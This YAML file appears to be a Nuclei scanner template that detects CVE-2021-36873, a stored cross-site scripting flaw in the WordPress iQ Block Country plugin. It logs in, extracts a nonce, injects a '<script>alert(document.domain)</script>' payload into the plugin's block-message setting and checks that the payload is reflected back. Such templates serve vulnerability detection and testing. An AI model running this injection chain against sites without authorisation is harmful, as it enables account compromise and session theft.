70 lines
2.9 KiB
YAML
70 lines
2.9 KiB
YAML
id: CVE-2021-36873
|
|
|
|
info:
|
|
name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
|
|
- https://wordpress.org/plugins/iq-block-country/
|
|
- https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-36873
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2021-36873
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00151
|
|
metadata:
|
|
max-request: 4
|
|
verified: true
|
|
tags: cve,wp-plugin,iq-block-country,cve2021,wordpress,wp,xss,authenticated,wpscan
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /wp-admin/options.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
|
|
|
|
- |
|
|
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(all_headers_4, "text/html")
|
|
- status_code_4 == 200
|
|
- contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
|
|
- contains(body_4, '<h3>Block type</h3>')
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nonce
|
|
group: 1
|
|
regex:
|
|
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
|
|
internal: true
|
|
|
|
# Enhanced by mp on 2022/09/28
|